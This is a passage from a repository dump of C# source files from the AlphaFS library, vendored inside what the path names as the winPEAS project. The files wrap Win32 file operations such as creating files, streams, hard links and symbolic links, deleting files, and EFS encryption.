    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Alphaleonis.Win32.Security;\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Creates or opens a file, directory or I/O device.</summary>\n      /// <returns>A <see cref=\"SafeFileHandle\"/> that provides read/write access to the file or directory specified by <paramref name=\"path\"/>.</returns>\n      /// <remarks>\n      ///   <para>To obtain a directory handle using CreateFile, specify the FILE_FLAG_BACKUP_SEMANTICS flag as part of dwFlagsAndAttributes.</para>\n      ///   <para>The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"Exception\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">When <c>true</c> indicates the source is a directory, <c>false</c> indicates a file and <c>null</c> specifies a physical device.</param>\n      /// <param name=\"path\">The path and name of the file or directory to create.</param>\n      /// <param name=\"attributes\">One of the <see cref=\"ExtendedFileAttributes\"/> values that describes how to create or overwrite the file or directory.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> instance that determines the access control and audit security for the file or directory.</param>\n      /// <param name=\"fileMode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file or directory.</param>\n      /// <param name=\"fileSystemRights\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file or directory.</param>\n      /// <param name=\"fileShare\">A <see cref=\"FileShare\"/> constant that determines how the file or directory will be shared by processes.</param>\n      /// <param name=\"checkPath\"></param>\n      /// <param name=\"continueOnException\"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the <paramref name=\"path\"/> parameter.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\", Justification = \"Object needs to be disposed by caller.\")]\n      [SecurityCritical]\n      internal static SafeFileHandle CreateFileCore(KernelTransaction transaction, bool? isFolder, string path, ExtendedFileAttributes attributes, FileSecurity fileSecurity, FileMode fileMode, FileSystemRights fileSystemRights, FileShare fileShare, bool checkPath, bool continueOnException, PathFormat pathFormat)\n      {\n         if (checkPath && pathFormat == PathFormat.RelativePath)\n\n            Path.CheckSupportedPathFormat(path, true, true);\n\n\n         // When isFile == null, we're working with a device.\n         // When opening a VOLUME or removable media drive (for example, a floppy disk drive or flash memory thumb drive),\n         // the path string should be the following form: \"\\\\.\\X:\"\n         // Do not use a trailing backslash ('\\'), which indicates the root.\n\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n\n         // CreateFileXxx() does not support FileMode.Append mode.\n         var isAppend = fileMode == FileMode.Append;\n         if (isAppend)\n         {\n            fileMode = FileMode.OpenOrCreate;\n            fileSystemRights |= FileSystemRights.AppendData;\n         }\n\n\n         if (null != fileSecurity)\n            fileSystemRights |= (FileSystemRights) SECURITY_INFORMATION.UNPROTECTED_SACL_SECURITY_INFORMATION;\n\n\n         using ((fileSystemRights & (FileSystemRights)SECURITY_INFORMATION.UNPROTECTED_SACL_SECURITY_INFORMATION) != 0 || (fileSystemRights & (FileSystemRights)SECURITY_INFORMATION.UNPROTECTED_DACL_SECURITY_INFORMATION) != 0 ? new PrivilegeEnabler(Privilege.Security) : null)\n\n         using (var securityAttributes = new Security.NativeMethods.SecurityAttributes(fileSecurity))\n         {\n            var safeHandle = transaction == null || !NativeMethods.IsAtLeastWindowsVista\n\n               // CreateFile() / CreateFileTransacted()\n               // 2013-01-13: MSDN confirms LongPath usage.\n\n               ? NativeMethods.CreateFile(pathLp, fileSystemRights, fileShare, securityAttributes, fileMode, attributes, IntPtr.Zero)\n\n               : NativeMethods.CreateFileTransacted(pathLp, fileSystemRights, fileShare, securityAttributes, fileMode, attributes, IntPtr.Zero, transaction.SafeHandle, IntPtr.Zero, IntPtr.Zero);\n\n\n            var lastError = Marshal.GetLastWin32Error();\n\n            NativeMethods.CloseHandleAndPossiblyThrowException(safeHandle, lastError, isFolder, path, !continueOnException);\n\n\n            if (isAppend)\n            {\n               var success = NativeMethods.SetFilePointerEx(safeHandle, 0, IntPtr.Zero, SeekOrigin.End);\n\n               lastError = Marshal.GetLastWin32Error();\n\n               if (!success)\n               {\n                  NativeMethods.CloseHandleAndPossiblyThrowException(safeHandle, lastError, isFolder, path, !continueOnException);\n\n                  return null;\n               }\n            }\n\n            return safeHandle;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateFileStreamCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing FileStream = System.IO.FileStream;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Creates or overwrites a file in the specified path.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"attributes\">The <see cref=\"ExtendedFileAttributes\"/> additional advanced options to create a file.</param>\n      /// <param name=\"fileSecurity\">A <see cref=\"FileSecurity\"/> instance that determines the access control and audit security for the file.</param>\n      /// <param name=\"mode\">The <see cref=\"FileMode\"/> option gives you more precise control over how you want to create a file.</param>\n      /// <param name=\"access\">The <see cref=\"FileAccess\"/> allow you additionally specify to default read/write capability - just write, bypassing any cache.</param>\n      /// <param name=\"share\">The <see cref=\"FileShare\"/> option controls how you would like to share created file with other requesters.</param>\n      ///  <param name=\"pathFormat\">Indicates the format of the <paramref name=\"path\"/> parameter.</param>\n      /// <param name=\"bufferSize\">The number of bytes buffered for reads and writes to the file.</param>\n      /// <returns>A <see cref=\"FileStream\"/> that provides read/write access to the file specified in path.</returns>      \n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\", Justification = \"False positive\")]\n      [SecurityCritical]\n      internal static FileStream CreateFileStreamCore(KernelTransaction transaction, string path, ExtendedFileAttributes attributes, FileSecurity fileSecurity, FileMode mode, FileAccess access, FileShare share, int bufferSize, PathFormat pathFormat)\n      {\n         SafeFileHandle safeHandle = null;\n\n         try\n         {\n            safeHandle = CreateFileCore(transaction, false, path, attributes, fileSecurity, mode, (FileSystemRights) access, share, true, false, pathFormat);\n\n            return new FileStream(safeHandle, access, bufferSize, (attributes & ExtendedFileAttributes.Overlapped) != 0);\n         }\n         catch\n         {\n            NativeMethods.IsValidHandle(safeHandle, false);\n\n            throw;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateHardlinkCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Establishes a hard link (similar to CMD command: \"MKLINK /H\") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories.</summary>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fileName\">The name of the new file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"existingFileName\">The name of the existing file. This parameter cannot specify the name of a directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlink\")]\n      [SecurityCritical]\n      internal static void CreateHardLinkCore(KernelTransaction transaction, string fileName, string existingFileName, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck;\n\n            fileName = Path.GetExtendedLengthPathCore(transaction, fileName, pathFormat, options);\n            existingFileName = Path.GetExtendedLengthPathCore(transaction, existingFileName, pathFormat, options);\n         }\n\n\n         if (!(transaction == null || !NativeMethods.IsAtLeastWindowsVista\n\n            // CreateHardLink() / CreateHardLinkTransacted()\n            // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n            // 2017-05-30: CreateHardLink() MSDN confirms LongPath usage: Starting with Windows 10, version 1607\n\n            ? NativeMethods.CreateHardLink(fileName, existingFileName, IntPtr.Zero)\n            : NativeMethods.CreateHardLinkTransacted(fileName, existingFileName, IntPtr.Zero, transaction.SafeHandle)))\n         {\n            var lastError = (uint) Marshal.GetLastWin32Error();\n\n            switch (lastError)\n            {\n               case Win32Errors.ERROR_INVALID_FUNCTION:\n                  throw new NotSupportedException(Resources.HardLinks_Not_Supported);\n\n               default:\n                  NativeError.ThrowException(lastError, existingFileName, fileName);\n                  break;\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateSymbolicLinkCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK\") to a file or directory as a transacted operation.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"symlinkFileName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetFileName\">The symbolic link to be created.</param>\n      /// <param name=\"targetType\">Indicates whether the link target, <paramref name=\"targetFileName\"/>, is a file or directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void CreateSymbolicLinkCore(KernelTransaction transaction, string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType, PathFormat pathFormat)\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck;\n\n            symlinkFileName = Path.GetExtendedLengthPathCore(transaction, symlinkFileName, pathFormat, options);\n            targetFileName = Path.GetExtendedLengthPathCore(transaction, targetFileName, pathFormat, options);\n         }\n\n\n         // Don't use long path notation, as it will be empty upon creation.\n         targetFileName = Path.GetRegularPathCore(targetFileName, GetFullPathOptions.None, false);\n\n\n         if (targetType == SymbolicLinkTarget.Directory)\n         {\n            ThrowIOExceptionIfFsoExist(transaction, false, targetFileName, pathFormat);\n            ThrowIOExceptionIfFsoExist(transaction, false, symlinkFileName, pathFormat);\n         }\n\n         else\n         {\n            ThrowIOExceptionIfFsoExist(transaction, true, targetFileName, pathFormat);\n            ThrowIOExceptionIfFsoExist(transaction, true, symlinkFileName, pathFormat);\n         }\n\n\n         var success = null == transaction\n\n            // CreateSymbolicLink() / CreateSymbolicLinkTransacted()\n            // 2017-05-30: CreateSymbolicLink() MSDN confirms LongPath usage: Starting with Windows 10, version 1607\n            // 2015-07-17: This function does not support long paths.\n            // 2014-02-14: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n            \n            ? NativeMethods.CreateSymbolicLink(symlinkFileName, targetFileName, targetType)\n            : NativeMethods.CreateSymbolicLinkTransacted(symlinkFileName, targetFileName, targetType, transaction.SafeHandle);\n\n\n         var lastError = (uint) Marshal.GetLastWin32Error();\n         if (!success)\n            NativeError.ThrowException(lastError, targetFileName, symlinkFileName);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateTextCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Text;\nusing StreamWriter = System.IO.StreamWriter;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Creates or opens a file for writing <see cref=\"Encoding\"/> encoded text.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The file to be opened for writing.</param>\n      /// <param name=\"encoding\">The <see cref=\"Encoding\"/> applied to the contents of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>A <see cref=\"StreamWriter\"/> that writes to the specified file using NativeMethods.DefaultFileBufferSize encoding.</returns>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      internal static StreamWriter CreateTextCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat)\n      {\n         return new StreamWriter(CreateFileStreamCore(transaction, path, ExtendedFileAttributes.SequentialScan, null, FileMode.Create, FileAccess.Write, FileShare.Read, NativeMethods.DefaultFileBufferSize, pathFormat), encoding);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.DeleteFileCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Globalization;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Deletes a Non-/Transacted file.</summary>\n      /// <remarks>If the file to be deleted does not exist, no exception is thrown.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file to be deleted.</param>\n      /// <param name=\"ignoreReadOnly\"><c>true</c> overrides the read only <see cref=\"FileAttributes\"/> of the file.</param>\n      /// <param name=\"attributes\"></param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void DeleteFileCore(KernelTransaction transaction, string path, bool ignoreReadOnly, FileAttributes attributes, PathFormat pathFormat)\n      {\n         if (null == path)\n            throw new ArgumentNullException(\"path\");\n\n         if (pathFormat == PathFormat.RelativePath)\n            Path.CheckSupportedPathFormat(path, true, true);\n\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n\n         // Reset attributes to Normal if we already know the facts.\n\n         if (ignoreReadOnly && IsReadOnlyOrHidden(attributes))\n\n            SetAttributesCore(transaction, false, pathLp, FileAttributes.Normal, PathFormat.LongFullPath);\n\n\n      startDeleteFile:\n\n         if (!(null == transaction || !NativeMethods.IsAtLeastWindowsVista\n\n            // DeleteFile() / DeleteFileTransacted()\n            // 2013-01-13: MSDN confirms LongPath usage.\n            //\n            // If the path points to a symbolic link, the symbolic link is deleted, not the target.\n\n            ? NativeMethods.DeleteFile(pathLp)\n\n            : NativeMethods.DeleteFileTransacted(pathLp, transaction.SafeHandle)))\n         {\n            var lastError = Marshal.GetLastWin32Error();\n\n\n            switch ((uint) lastError)\n            {\n               case Win32Errors.ERROR_FILE_NOT_FOUND:\n                  // MSDN: .NET 3.5+: If the file to be deleted does not exist, no exception is thrown.\n                  return;\n\n\n               case Win32Errors.ERROR_PATH_NOT_FOUND:\n                  // MSDN: .NET 3.5+: DirectoryNotFoundException: The specified path is invalid (for example, it is on an unmapped drive).\n                  NativeError.ThrowException(lastError, pathLp);\n                  return;\n\n\n               case Win32Errors.ERROR_SHARING_VIOLATION:\n                  // MSDN: .NET 3.5+: IOException: The specified file is in use or there is an open handle on the file.\n                  NativeError.ThrowException(lastError, pathLp);\n                  break;\n\n\n               case Win32Errors.ERROR_ACCESS_DENIED:\n\n                  if (attributes == 0)\n                  {\n                     var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n\n                     if (FillAttributeInfoCore(transaction, pathLp, ref attrs, false, true) == Win32Errors.NO_ERROR)\n\n                        attributes = attrs.dwFileAttributes;\n                  }\n\n\n                  // MSDN: .NET 3.5+: UnauthorizedAccessException: Path is a directory.\n                  if (IsDirectory(attributes))\n                     throw new UnauthorizedAccessException(string.Format(CultureInfo.InvariantCulture, \"({0}) {1}\", lastError.ToString(CultureInfo.InvariantCulture), string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, pathLp)));\n\n\n                  if (IsReadOnlyOrHidden(attributes))\n                  {\n                     if (ignoreReadOnly)\n                     {\n                        // Reset attributes to Normal.\n                        SetAttributesCore(transaction, false, pathLp, FileAttributes.Normal, PathFormat.LongFullPath);\n\n                        goto startDeleteFile;\n                     }\n\n\n                     // MSDN: .NET 3.5+: UnauthorizedAccessException: Path specified a read-only file.\n                     throw new FileReadOnlyException(pathLp);\n                  }\n\n                  \n                  // MSDN: .NET 3.5+: UnauthorizedAccessException: The caller does not have the required permission.\n                  if (attributes == 0)\n                     NativeError.ThrowException(lastError, pathLp);\n\n                  break;\n            }\n\n            // MSDN: .NET 3.5+: IOException:\n            // The specified file is in use.\n            // There is an open handle on the file, and the operating system is Windows XP or earlier.\n\n            NativeError.ThrowException(lastError, IsDirectory(attributes), pathLp);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.EncryptDecryptFileCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Globalization;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Decrypts/encrypts a file or directory so that only the account used to encrypt the file can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">A path that describes a file to encrypt.</param>\n      /// <param name=\"encrypt\"><c>true</c> encrypt, <c>false</c> decrypt.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static void EncryptDecryptFileCore(bool isFolder, string path, bool encrypt, PathFormat pathFormat)\n      {\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            path = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n            pathFormat = PathFormat.LongFullPath;\n         }\n\n\n         // MSDN: If lpFileName specifies a read-only file, the function fails and GetLastError returns ERROR_FILE_READ_ONLY.\n\n         var attrs = GetAttributesExCore<NativeMethods.WIN32_FILE_ATTRIBUTE_DATA>(null, path, pathFormat, true);\n\n         var isReadOnly = IsReadOnly(attrs.dwFileAttributes);\n         var isHidden = IsHidden(attrs.dwFileAttributes);\n\n         if (isReadOnly || isHidden)\n         {\n            if (isReadOnly)\n               attrs.dwFileAttributes &= ~FileAttributes.ReadOnly;\n\n            if (isHidden)\n               attrs.dwFileAttributes &= ~FileAttributes.Hidden;\n\n            SetAttributesCore(null, isFolder, path, attrs.dwFileAttributes, pathFormat);\n         }\n\n\n         // EncryptFile() / DecryptFile()\n         // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n         var success = encrypt ? NativeMethods.EncryptFile(path) : NativeMethods.DecryptFile(path, 0);\n\n         var lastError = Marshal.GetLastWin32Error();\n\n\n         if (isReadOnly || isHidden)\n         {\n            if (isReadOnly)\n               attrs.dwFileAttributes |= FileAttributes.ReadOnly;\n\n            if (isHidden)\n               attrs.dwFileAttributes |= FileAttributes.Hidden;\n\n            SetAttributesCore(null, isFolder, path, attrs.dwFileAttributes, pathFormat);\n         }\n\n\n         if (!success)\n         {\n            switch ((uint) lastError)\n            {\n               case Win32Errors.ERROR_ACCESS_DENIED:\n\n                  if 